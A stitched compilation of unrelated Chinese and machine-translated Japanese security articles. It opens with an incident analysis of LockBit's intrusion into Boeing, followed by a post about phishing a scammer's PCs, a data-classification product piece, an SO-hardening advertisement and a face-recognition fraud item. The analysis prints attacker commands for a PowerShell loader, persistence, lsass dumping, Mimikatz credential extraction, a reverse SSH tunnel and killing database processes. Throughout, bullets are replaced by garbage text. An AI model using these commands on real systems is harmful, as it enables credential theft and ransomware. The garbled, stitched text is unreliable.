4.1 攻擊過程复盤步驟1：LockBit勒索組織（後稱攻擊者）針對波音公司的Citrix NetScaler ADC 和NetScaler Gateway 設備發動漏洞利用攻擊，竊取有效用戶的訪問cookie。該漏洞無需額外權限，攻擊者可在不需要任何權限的前提下，構造特定的數據包造成緩衝區溢出，可從Citrix NetScaler ADC 和NetScaler Gateway 中越界檢索身份驗證會話cookie等信息，通過cookie繞過身份驗證，獲取系統web登錄權限，通過web功能配置植入木馬進行信息竊取或勒索軟件進行勒索攻擊。

Citrix NetScaler ADC 和NetScaler Gateway 均提供網關服務，其web管理界面可對http、dns進行詳細的管理和配置，可篡改用戶數據實現投毒，可對插件進行惡意更換，用戶安裝被惡意更換的插件後即可被控。

图 4-1 Citrix 配置界面.png

圖4‑1 Citrix配置界面

步驟2：攻擊者利用竊取的cookie實現對波音公司邊界服務器的訪問，植入運行腳本123.ps1，實現釋放並執行Downloader木馬，從C2中下載各種遠程軟件、腳本、網絡掃描等武器裝備，Downloader可遠程獲取的裝備清單如表4-1所示。

123.ps1腳本內容如下，功能為拼接base64編碼，解碼生成adobelib.dll文件（Downloader木馬），以特定十六進製字符串作為參數加載該Downloader木馬：

$y='TVqQAAMA.

$x='RyEHABFQ.

$filePath='C:\Users\Public\adobelib.dll'

$fileBytes=[System.Convert]:FromBase64String($y+$x)

[System.IO.File]:WriteAllBytes($filePath,$fileBytes)

rundll32C:\Users\Public\adobelib.dll,mained5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44表4‑1 攻擊裝備列表

攻擊裝備

123.ps1(初始腳本）

processhacker.exe（結束進程及服務）

psexec.exe（遠程命令執行）

AnyDesk（遠程控制軟件）

ad.ps1(域環境信息收集)

mimikatz.exe（憑證獲取）

tniwinagent.exe（信息收集）

Splashtop（遠程控制軟件）

veeam-get-creds.ps1（憑證收集）

proc.exe（進程dump）

Zoho（遠程控制軟件）

Action1（遠程控制軟件）

secretsdump.py（憑證收集）

netscan.exe（網絡掃描）

ConnectWise（遠程控制軟件）

Atera（遠程控制軟件）

sysconf.bat(執行plink）

servicehost.exe（建立SSH隧道工具-plink)

Screenconnect（遠程控制軟件）

fixme it（遠程控制軟件）

步驟3：攻擊者將惡意dll文件配置為計劃任務和將AnyDesk遠程軟件配置成服務來實現持久化訪問該入口。 AnyDesk是一款由德國公司AnyDesk Software GmbH推出的遠程桌面軟件。用戶可以通過該軟件遠程控制計算機，同時還能與被控制的計算機之間進行文件傳輸，主要應用於客戶日常運維和業務相關主機的遠程管理。這一軟件是常用網管工具、由正規軟件研發企業發布，且有對應廠商數字簽名，往往被作為白名單軟件。但這也使攻擊組織在活動中利用這類軟件的遠程管理功能實現持久訪問、文件傳輸，並利用其是合法簽名執行體來規避檢測。

服務創建及計劃任務添加所使用的命令如下：

schtasks.exe/create/tn'UpdateAdobeTask'/scMINUTE/mo10/tr''Mag.dll''/f

sccreateAnyDeskbinpath=c:\perflogs\AnyDeskMSI.exetype=ownstart=autodisplayname=AnyDesk安天AVL SDK 反病毒引擎檢測到AnyDesk後，會反饋輸出Riskware/Win32. AnyDesk作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟4：攻擊者使用合法的網絡掃描工具探測目標內部網絡服務，通過ADRecon腳本（ad.ps1）收集AD域信息，利用tniwinagent工具（信息收集）收集其他主機信息。 ADRecon 是由澳大利亞信息安全服務提供商Sense of Security開發的一種收集有關Active Directory 信息並生成報告的工具，該報告可以提供目標AD 環境當前狀態的整體情況。該工具採用PowerShell腳本語言編寫，於2018年在Github開源。基於域環境信息收集功能，易被攻擊者利用，其中FIN7黑客組織曾使用過該工具[4]。

安天AVL SDK 反病毒引擎檢測到的ADRecon後，會反饋輸出HackTool/PowerShell.ADRecon作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟5：攻擊者使用proc.exe（進程dump）工具獲取lsass.exe進程內存，結合Mimikatz工具獲取系統中的各類憑證；使用veeam-get-creds.ps1腳本從波音公司的veeam平台中獲取保存的憑證；使用secretsdump.py從波音公司的Azure VM上獲取各種賬號數據庫文件及註冊表信息。相關使用命令如表4-2所示。

表4‑2 憑證竊取操作信息表

命令作用

命令內容

轉儲lsass進程內存

proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp

從lsass進程轉儲文件中提取憑證

mimikatz.exe 'sekurlsa:minidump c:\perflogs\lsass.dmp ' 'sekurlsa:logonPasswords full'

從veeam平台中提取憑證

.\veeam-get-creds.ps1

從Azure VM平台中收集憑證

secretsdump.py

Mimikatz（Mimikatz）是一款黃帽子（黑客）工具，最初由法國黑客Benjamin Delpy開發，並於2011年首次發布，該工具除了可執行文件版本外還存在腳本類型版本。 Mimikatz的主要功能是獲取和操控Windows操作系統中的憑證，如用戶登錄密碼、Windows登錄憑據（NTLM哈希和Kerberos票據）以及各種應用程序和服務的憑證。 Mimikatz設計的目的是揭示Windows系統中密碼和憑證管理的薄弱點，並用於安全專業人員的演示和教育目的。然而，由於其功能強大且廣泛被黑客所利用，Mimikatz也被視為危險的工具，用於進行惡意攻擊、數據竊取和潛在的勒索活動。憑藉其高度靈活和兼容性，Mimikatz已被APT組織或網絡犯罪組織應用於攻擊活動中，其中安天於2020年監測到苦象組織使用PowerShell腳本形式的Mimikatz工具[5]。

安天AVL SDK 反病毒引擎檢測到的Mimikatz後，會反饋輸出HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

ProcDump 是一個命令行實用程序，是Sysinternals Suite 系統組件的一部分，其主要目的是監視應用程序的CPU 峰值並在峰值期間生成故障轉儲，管理員或開發人員可以使用它來確定峰值的原因。 ProcDump 還包括掛起窗口監視（使用與Windows 和任務管理器使用的窗口掛起相同的定義）、未處理的異常監視，並且可以根據系統性能計數器的值生成轉儲。它還可以用作通用進程轉儲實用程序，將其嵌入到其他腳本中。在本次事件中，該工具被攻擊者利用其白名單特性及進程轉儲功能，結合Mimikatz工具獲取系統憑證。

安天AVL SDK 反病毒引擎檢測到對應版本的ProcDump後，會反饋輸出RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟6：攻擊者利用獲取的各種憑證結合Psexec工具（遠程命令執行），在波音內部網絡其他主機上部署各種遠程軟件，獲取更多其他服務器及主機的訪問權限。 Psexec是一個命令行網絡管理工具，是Sysinternals Suite系統組件的一部分，其調用了Windows系統的內部接口，以遠端Windows主機賬戶名、密碼和要執行的本地可執行文件為輸入參數，基於RPC$服務實現，將本地可執行文件推送到遠端主機執行，其設計初衷是為了便於網絡管理人員以實現敏捷的遠程運營。但由於其作為命令行工具便於被調用封裝，也導致極易被攻擊者作為攻擊工具使用，在完成口令破解後，實現一次性投放執行。早在2003年，廣泛出現大量基於空口令和常見口令進行傳播的系列“口令蠕蟲”，大部分都使用了這個機制。特別是出品該系統組件的Sysinternals的團隊在2006年7月18日被微軟收購，導致其後續版本都帶有微軟的數字簽名，所以也連帶導致其會被較大比例的安全軟件放行。

安天AVL SDK反病毒引擎檢測到對應版本的Psexec後，會反饋輸出RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟7：利用遠程訪問軟件傳輸步驟4至步驟6涉及的各種工具，循環執行步驟4至步驟6的各種操作，盡可能獲取更多服務器及主機的訪問權限。

步驟8：從已控制的系統中收集各種信息（包括備份文件等），並使用7z.exe工具進行壓縮。

步驟9：通過plink.exe工具建立的SSH隧道回傳數據；通過FTP協議回傳數據(193.201.9[.]224)；通過遠程控制軟件回傳數據。 plink.exe工具是PuTTY軟件中的一個組件，主要功能類似於Linux系統上的ssh命令行工具，用於SSH連接遠程主機，同時提供多種方式創建或管理SSH會話。由於其屬於PuTTY軟件的一個組件，具備數字簽名，能夠規避以數字簽名作為白名單檢測機制的終端防護軟件的檢測。

攻擊者使用如下命令格式實現SSH隧道建立：

echoenter|c:\windows\servicehost.exe-ssh-r8085:127.0.0.1:8085

步驟10：結束相關主機的數據庫服務及進程、殺毒軟件、其他阻礙勒索加密的進程。

攻擊者使用如下命令結束相關進程及服務：

cmd.exe/q/ctaskkill/f/imsqlwriter.exe/im

winmysqladmin.exe/imw3sqlmgr.exe/imsqlwb.exe/imsqltob.exe

/imsqlservr.exe/imsqlserver.exe/imsqlscan.exe/imsqlbrowser.exe

/imsqlrep.exe/imsqlmangr.exe/

imsqlexp3.exe/imsqlexp2.exe/imsqlex

步驟11：將LockBit 3.0勒索軟件通過遠程控制軟件部署到目標主機（數據價值高的、業務重要性強的）中並執行，實現加密勒索。對目標加密完成後，釋放勒索信並修改桌面背景用以提示受害者，便於受害者根據勒索信中預留的聯繫方式與攻擊者進行談判，談判內容包括支付贖金的數額和支付方式等。勒索軟件及勒索信分析詳見下節。

图 4-2 勒索信中的联系方式.png

圖4‑2勒索信中的聯繫方式

4.2 攻擊工具清單梳理在本次攻擊事件中，攻擊者利用Citrix設備相關的CVE-2023-4966漏洞作為突破口，入侵後組合利用多種攻擊裝備實現網絡攻擊，例如使用多種帶有數字簽名的遠程控制軟件與受害系統建立遠程連接，實現傳播其他攻擊裝備；利用Process Hacker實現禁用和卸載與安全軟件有關的進程和服務；通過ProcDump工具轉儲進程內存，結合Mimikatz實現憑證獲取，使用NetScan進行網絡掃描，用以發現與網絡有關的信息等，攻擊裝備具體使用情況見下表：

表4‑3 攻擊裝備使用情況

裝備類型

名稱

裝備來源

備註

漏洞利用

Citrix Bleed（CVE-2023-4966）

自研漏洞利用代碼

Citrix NetScaler ADC 和NetScaler Gateway 設備的軟件漏洞

腳本

123.ps1

自研腳本

解碼並釋放Downloader木馬

ad.ps1

開源腳本（Github）

AD域偵察腳本，收集域內各種信息

veeam-get-creds.ps1

開源腳本（Github）

從Veeam平台獲取保存的憑證信息

secretsdump.py

開源腳本（Github）

從Azure VM上獲取各類賬戶數據庫信息（憑證）

sysconf.bat

自研腳本

用於執行plink

黑客工具

processhacker.exe

公開軟件

禁用和卸載與安全軟件有關的進程和服務

mimikatz.exe

開源軟件

從內存和進程轉儲文件中獲取憑證

進程轉儲

proc.exe

公開軟件

通過ProcDump工具轉儲lsass.exe內存，結合Mimikatz實現憑證獲取

網絡掃描

netscan.exe

公開軟件

重命名Softperfect公司的網絡掃描軟件，實現網絡掃描功能

端口轉發

servicehost.exe

公開軟件

重命名的plink（PuTTY Link），用於端口轉發建立SSH隧道

遠程執行

psexec.exe

公開軟件

用於遠程部署特定程序

TNI客戶端

tniwinagent.exe

公開軟件

用於發現

HireHackking

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

ued0003o3hh11319.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

uxmejyuamfc11321.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか！

ytujs514m1y11323.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

el0uabesgdx11325.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

3vhhfx0qews11327.png

スクリプトトロイの木馬

m2tjqxor2hl11329.png

あらゆる種類の本名証明書

obxthatll4011331.png

さまざまなバッチハッキングツール

vkmdxgyqpix11333.png

ブラックハットSEOキーワード

wultsnlyxjq11336.png

侵入に使用されるさまざまなVPSマシン

nn21luswd0j11338.png

さまざまなWebサイトを説明します

0wrnk1xblj511340.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

vnjiduymdke11341.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

ejypho3p4lk11342.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

l5hbfzic0gv11343.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

pngnjyqp5f011344.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

5nhrlt3h0jf11345.png

xarc3y41guw11346.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

jefcil2kinc11348.png

wkzengpu3sp11350.png

ryaajnotujq11351.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

wkyr1agvis011354.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス：https://www.hackdoor.org/d/216-bc

HireHackking

背景雖然整體上大家做分類分級的背景以及目標基本一致：滿足監管要求；為數據合規和安全體系建設打好基礎。但是實施落地的過程不盡相同，每個客戶所處的行業不同，所要遵循的分類分級標準不同，同時每個客戶的數據也是截然不同，定制化需求是普遍存在。

當前一些業務模式相對簡單的公司，使用excel的方式人工進行數據分類分級；規模更大業務更複雜的公司自研或採購第三方數據分類分級產品或服務。市場上大部分供應商採取產品+服務的方式服務客戶，其中產品敏感識別能力較弱更多以運營功能為主，敏感數據識別更多的以人力服務的方式幫助客戶進行梳理，雖然能滿足監管要求，但是存在以下公認的問題：

马云惹不起马云無法做到持續運營，交付的產物是基於當時的數據情況，後續新增數據要么需要人介入重新進行梳理，要么無法保證能夠持續準確識別

马云惹不起马云準確率低或不穩定，特別是在數據元信息質量較低的情況

马云惹不起马云人力投入成本高

僅滿足監管要求不是我們的終極目標，我們希望用九智匯分類分級產品在滿足監管的前提下，為數據合規和數據安全打下堅實的基礎，所以我們：

马云惹不起马云採集樣本數據，走樣本數據為主、元數據為輔的技術路線，一方面可以保證已建設的識別能力可持續識別，另一方面準確率穩定性不受元數據質量影響

马云惹不起马云提供智能化、 無侵人、開箱即用的同時，打造易用、靈活、強大的自定義功能，滿足客戶的定制化需求，一方面降低交付成本，另一方面降低門檻讓客戶可以自助使用產品進行敏感數據識別。

實踐方案如果沒有系統或產品，純人工來做數據分類分級，基本上大家完成這件事情的步驟都是：找數據在哪裡-梳理數據有哪些-找敏感數據-歸類-分級。同理，我們的產品也遵循這個思路，設計了一套標準的敏感數據識別流程，如下圖：

图片9.png

在這個流程中，每個節點我們代碼層面的設計和實現都遵循可配置的原則，可以根據客戶環境、現狀和需求等情況調整配置進行適配。另外，盡可能的支持客戶自定義，比如在“敏感數據識別”、“自動分類”、“自動審核”等節點我們都添加了易用的自定義功能，方便滿足客戶的定制化需求。

數據源掃描負責數據分類分級落地，碰到的首要問題肯定是：我們有哪些數據，這些數據在哪裡，是否有遺漏的數據未找到？為此我們研發了數據源掃描器來幫助發現數據源，盡可能的幫助客戶自動發現數據源，盡可能的不遺漏數據源，該掃描器目前具備以下兩種能力：

马云惹不起马云部署到指定網絡環境內，掃描和探測網絡環境內可能是數據存儲的目標，比如可以通過掃描一些常用端口來發現關係數據庫

马云惹不起马云按照要求給雲賬號的AK配置權限後，可以通過該AK拉取雲賬號的所有數據存儲資源列表

數據源集成當然除了上面提到的自動掃描，也可以通過輸入endpoint手動添加數據源。自動掃描發現或手動添加的數據源，一般情況下是需要鑑權才能訪問，這就需要我們找到對應負責人提供賬號密碼連接到數據源。產品特別提供了一個密鑰對管理功能來來解決安全問題：

马云惹不起马云加密存儲鑑權信息（如賬號密碼），提升安全性；

马云惹不起马云連接數據源無需直接輸入鑑權信息，選擇已經維護好的密鑰對即可，有效減少接觸到明文鑑權信息的人員，降低洩漏風險。

另外產品交付過程中，實際上每個客戶的數據源類型不一樣，同種類型的數據源也會有不同版本，為此我們在數據源集成這裡採用插件的設計，插件之間、插件和應用之間隔離運行，以幫助我們解決以下問題：

马云惹不起马云同種類型的數據源，支持不同版本，避免不同版本連接驅動之間依賴衝突問題

马云惹不起马云應用無需直接依賴數據源驅動，避免大量數據源驅動依賴帶來的各種衝突問題

马云惹不起马云滿足客戶數據源集成的定制化需求，不侵入應用代碼

目前我們已經支持以下類型數據源：

马云惹不起马云關係數據庫：MySQL、ORACLE、SQLServer、達夢數據庫、IBM DB2、MariaDB、PostgreSQL等

马云惹不起马云大數據平台：Hive、Maxcompute、ClickHouse、Hbase

马云惹不起马云文件存儲：阿里雲OSS、騰訊雲COS、華為雲OBS、AWS S3、Ceph、Minio

马云惹不起马云文檔平台：語雀

元數據同步在數據源連接成功之後，如果要搞清楚到底哪些數據，我們就需要讀取數據源內部的結構比如表、字段、文件夾、文件的元信息，這些元信息主要有以下作用：

马云惹不起马云為抽樣提供參考依據，比如可以根據表的數據量採取不同的抽樣方法，保證樣本的隨機性，以及降低對數據源的性能和穩定性影響

马云惹不起马云為敏感數據識別提供上下文，幫助進一步確定敏感數據類型，比如根據抽樣數據我能確定該字段是姓名，但是如果有字段備註、字段名稱、表名、表備註信息以及同表其他字段信息，就有可能進一步確定該字段是否是法人姓名

另外，稍微量級大一點的業務就會涉及分庫分錶，這也是在元數據同步要解決的問題，需要將分庫分錶的庫、表進行合併，抽樣的時候也需要考慮去不同的庫、不同的的表進行抽樣。

數據抽樣數據抽樣是一個體力活，也是一個技術活。說是體力活是因為每一種數據源類型甚至每一個類型的數據源版本可能抽樣方法都不一樣，需要單獨做技術實現。說是技術活是因為無論是哪一種數據源類型，不僅要考慮能否抽到數據，還要保證：

马云惹不起马云抽樣數據的隨機性和數量，只有這樣才能保證識別準確率

马云惹不起马云抽樣對數據源的性能和穩定性影響必須要做到最小，即使連接的備庫，每個客戶都非常在意這一點，如果在這一點無法取得客戶信任，項目就非常難往前推進

即使解決了上面兩個最重要的問題，還有保證抽樣性能和穩定性，你可能會遇到以下問題：

马云惹不起马云大數據平台（如Hive）抽樣如果在保證樣本隨機性的情況下，不觸發MR任務

马云惹不起马云上百億的大表，如何進行抽樣才能保證樣本隨機性、性能

马云惹不起马云大字段，單次抽太多肯定會引發IO問題，如何進行分批抽樣

马云惹不起马云同步抽樣肯定會存在超時問題，異步化或回調，哪種方式更好

識別敏感數據敏感數據識別是整個流程中最核心的一個環節，也是算法同學發揮的舞台，首先是要把算法能力集成好，算法需要使用的能力涉及到：

马云惹不起马云正則，由於會有大量的正則匹配，Java自帶的正則能力是無法滿足性能要求的，需要使用RE2或HyperScan

马云惹不起马云PMML，機器學習模型

马云惹不起马云ONNX，深度學習模型

马云惹不起马云NVIDIA Triton Server，推理服務，主要用於非結構化數據識別

由於每個客戶所處的行業不一樣，業務數據更是截然不同，為根據客戶的數據現狀實現更好識別效果以及滿足客戶的定制化需求，我們支持了可自助配置、訓練的敏感數據識別能力：

马云惹不起马云基與YAML格式標準化的識別邏輯配置能力，可自助研發識別能力並錄入到產品中

马云惹不起马云自助配置規則樹，基於規則樹進行敏感數據識別

马云惹不起马云自助模型訓練，目前已支持ID類型的結構化數據，圖片、文檔

自動分類一般情況下，識別出某種類型敏感數據之後，就能根據映射關係映射到唯一的分類下，並映射到對應的分級，但是某些行業要求更高，比如證券行業，根據證券行業分類分級標準，同種類型的敏感數據可能需要再分類放到不同分類下，如要區分“姓名”是“個人投資者信息”還是“機構投資者法人信息”，這就需要我們在識別出某個字段是“姓名”之後進一步分類，這個時候我們可以根據以下信息進行分類：

马云惹不起马云元信息，如字段名稱、字段備註、表名稱、表備註等

马云惹不起马云同表其他字段命中的敏感數據類型，比如如果同表其他字段有公司名稱，那該字段屬於“法人”的概率就更高

同時，分類的識別邏輯也基於YAML格式進行了標準化，可自助研發識別能力並錄入到產品中。

自動審核機器自動識別，大家非常關注的就是準確率，很難做到100%準確，所以我們設置了一個置信度的概念，用來表示識別準確率。除了準確率，每個客戶的肯定有一些自己的特殊情況，比如說某個客戶每張表都有5個無任何業務含義的“id”、“gmt_create”、“gmt_modified”、“creator”、“modifier”、“is_deleted”字段，其中“creator”、“modifier”雖然是填的姓名，但是並不是敏感數據。為解決這類跟客戶數據現狀相關的特殊情況，我們特別提供了自定義規則能力，規則可以根據以下特徵自動決策是否通過審核：

马云惹不起马云命中的敏感數據類型，以及對應置信度

马云惹不起马云字段/文件的元信息，如文件名稱、字段名稱、字段備註等

马云惹不起马云字段/文件歷史人工審核結果

HireHackking

眾多開發者認為SO文件相對而言更加安全，並將許多核心算法、加密解密方法、協議等放在SO文件中。但是，黑客可以通過反編譯SO庫文件，竊取開發者花費大量人力物力財力的研發成果，進行創意竊取或二次打包，使得開發者和用戶利益受損。

image.png

作為知名移動信息安全綜合服務提供商，愛加密在SO加固方面擁有3大技術優勢。

一、愛加密so VMP技術，對so文件的源碼進行虛擬化保護，實現數據隱藏、防篡改、防Dump，增加逆向分析的難度。

二、愛加密so Linker技術，對so文件代碼段、導出表和字符串等進行加密壓縮，在函數運行時動態解密，防止so文件被靜態分析，通過內存DUMP源碼。

三、多重保護：多種so加固技術可以聯合使用，增大了代碼反彙編調試破解難度，提高so文件的安全性。愛加密可對Android及Linux 進行so加固，本次僅講述Android SO加固方面的6大核心技術，即so加殼、so源碼混淆、so源碼虛擬化保護、so防調用、so Linker、so融合。

so加殼利用自定義加密算法對C/C++源碼編譯出來的so文件進行加殼，將so文件的編碼進行改變，使加殼後的so文件無法通過ida反編譯工具查看導出符號，使so文件無法正確反編譯和反彙編。加固後效果如圖：

image.png

so源碼混淆愛加密通過對so文件的源碼進行混淆，降低黑客反編譯的可讀性，增加反編譯難度。可多種混淆方式聯用，可根據自己的實際需求選擇混淆強度，包含字符串加密、等效指令替換、基本塊調度、基本塊分裂、虛假控制流、控制流扁平化、控制流間接化，本次篇幅有限僅介紹前四種技術手段。

字符串加密：程序當中的字符串，往往會曝露一些關鍵的信息。如圖中所示字符串，表明此部分為用戶登錄的代碼。黑客分析之後，可攻擊用戶登錄頁面，獲取用戶賬號密碼等信息。

image.png

愛加密將對源代碼進行語法分析以及邏輯分析，解析出代碼中字符串的位置，採用隨機加密、運行時動態解密的方式對字符串進行混淆以及加密，增大表態分析難度，使破解者無法使用它來快速定位程序核心代碼的位置。

等效指令替換：對C/C++代碼中的函數所對應的原始代碼塊指令進行等效轉換，利用程序代碼的多樣性，增加破解者分析難度，有效的保護核心算法的原始邏輯。

image.png

本塊調度與分裂：基本塊指程序中一段按照順序執行的語句序列，只有一個出口一個入口。控制流只能從基本塊的第一條指令進入，最後一條指令離開。基本塊調度是將C/C++代碼中函數的所有基本塊交由調度塊進行分發，使其在反編譯工具中無法逆向出真實的代碼，有效保護源代碼，增加破解者分析代碼的難度。基本塊分裂方面可將一個基本塊隨機分裂成多個基本塊，使控制流更複雜。

image.png

so源碼虛擬化保護對SDK中so文件的源碼進行虛擬化保護，實現數據隱藏、防篡改、防Dump，增加逆向分析的難度。 so文件中經過虛擬化保護後的函數，其原有指令已被清空，而真正的代碼已經被編譯成了虛擬機字節碼隱藏起來。

image.png

so防調用so防調用可以支持綁定授權APP的包名或者簽名文件信息，可以在運行過程中對包名或者簽名信息進行動態的校驗，確保是正確的授權應用。

so Linker愛加密so Linker安全加固對整個so文件進行加密壓縮，包括代碼段、導出表和字符串等，運行時再解密解壓縮到內存，從而有效的防止so數據的洩露。使用so Linker，隱藏so的基地址，有效的防止so被DUMP。使用函數運行時動態加解密技術（FRAEP），在運行前進行解密，運行結束後進行加密，從而保證了so即使被DUMP，也無法反彙編出源碼（so函數指令不運行時，在內存中處於加密狀態）。 so Linker代碼使用愛加密自有的so VMP技術保護，大大增強了反調試代碼被跟踪的難度。

so Linker安全加固在技術方面擁有5大優勢：

1.對so進行了整體加密壓縮，對整個so進行了有效保護，包括代碼段、符號表和字符串等。 2.使用了函數運行時動態加解密技術（FRAEP），內存中so即使被DUMP，處於加密狀態的函數也無法被反彙編。

3.用so Linker方案後，so的基地址被隱藏，無法通過maps文件查看，提高了被DUMP難度。

4.使用了高強度的反調試技術，增大了被DUMP和被調試的難度。

5.so Linker代碼由愛加密VMP 技術保護，加大了代碼反彙編調試破解難度,效果如下圖：

image.png

so融合該技術對SO進行了整體加密壓縮，相對於傳統的加殼技術，有效的對整個SO進行了保護，包括代碼段、符號表和字符串等。 SO 融合代碼由愛加密VMP保護，加大了代碼反彙編調試破解難度。用SO 融合方案後，SO文件及SO的基地址也被隱藏，無法通過maps文件查看，且使用了更高強度的反調試技術，增強了被dump和被調試的難度。

image.png

愛加密移動應用安全加固平台為開發者提供全面的移動應用安全加固技術，不僅可進行SO文件加固，更包括Android應用加固、iOS應用加固、遊戲應用加固、H5文件加固、微信小程序加固、SDK加固和源對源混淆加固技術，從根本上解決移動應用的安全缺陷和風險，使加固後的移動應用具備防逆向分析、防二次打包、防動態調試、防進程注入、防數據篡改等安全保護能力，本文介紹的僅為愛加密移動應用安全加固平台中Android SO加固技術。

image.png

愛加密作為國內知名的移動信息安全綜合服務提供商，通過不斷探索與實踐，已覆蓋政企、運營商、金融、醫療、教育、能源等多個行業的安全業務場景。並參與了中央網信辦、工信部、公安部、市場監督管理總局等國家監管單位制定移動應用、移動支付相關的標準規範；未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等，守護互聯世界。

HireHackking

近日人臉識別防護問題已成焦點，嘉峪關網警、大連市銀行協會發布信息，稱市民A先生與不法分子視頻通話期間手機被犯罪分子控制，未接收到驗證碼，通話後手機收到消息提示，銀行定期存款已被銷戶，銀行人臉識別系統未發揮效果，資金已被轉出。經偵查後發現，犯罪分子事先獲取了A先生的身份證影像信息，並通過技術手段合成了短視頻，使用該視頻成功應對了銀行大額資金轉賬時的人臉識別驗證。

目前人臉識別防護技術存在明確的安全隱患，人臉信息發生洩露的風險主要存在於收集、存儲、使用、加工、傳輸，其中使用、加工、傳輸需要金融機構等廠商提高重視度，收集、存儲環境也需消費者提高警惕心。消費者不應隨意同陌生人的視頻聊天、下載來源不明的App、隨意參與App內的錄製視頻/聲音活動，北京互聯網法院綜合審判三庭副庭長曾表示“一些營銷短視頻、音頻的商家經常在未經當事人許可和同意的情況下進行換臉、換聲操作，以此獲利”，降低人臉信息的收集、存儲環節的安全隱患。消費者應保護好銀行卡號、密碼、身份證等個人信息；人臉、指紋等個人生物信息，發現可疑行為及時報警。

